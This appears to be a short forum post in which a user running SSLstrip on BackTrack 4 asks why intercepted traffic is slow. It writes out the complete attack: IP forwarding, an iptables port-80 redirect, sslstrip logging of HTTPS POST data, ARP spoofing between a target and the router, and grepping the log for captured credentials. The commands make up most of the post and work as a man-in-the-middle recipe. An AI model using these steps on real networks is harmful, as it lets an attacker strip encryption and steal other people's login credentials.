I got SSLstrip-0.2 up working with BT4 and it really seems to work. The only thing I don't understand is why on earth is the traffic sooooo darn slow. It takes like 1 min to get into my gmail. Yeah I am getting all the SSL. I am running this on a very fast computer with a USB2 pen. Could it be that I am ARP'n the system to death? Yeah I know it is a proxy but it should not be this slow. Any ideas
# echo "1" > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT –to-port 8080
# python ./sslstrip.py -p -f -l 8080 (-p only SSL POST, -f favicon)
# arpspoof -i ath0 -t (targert IP) (router IP)
# cat sslstrip.log | grep (ie my email address etc)
A quick look at nano and I could see that all the logs were in a nice order starting with a date. Since I only was looking at SSL POST (-p) and not both https and http (-a) this make this cleaner and more interesting.
Best to ya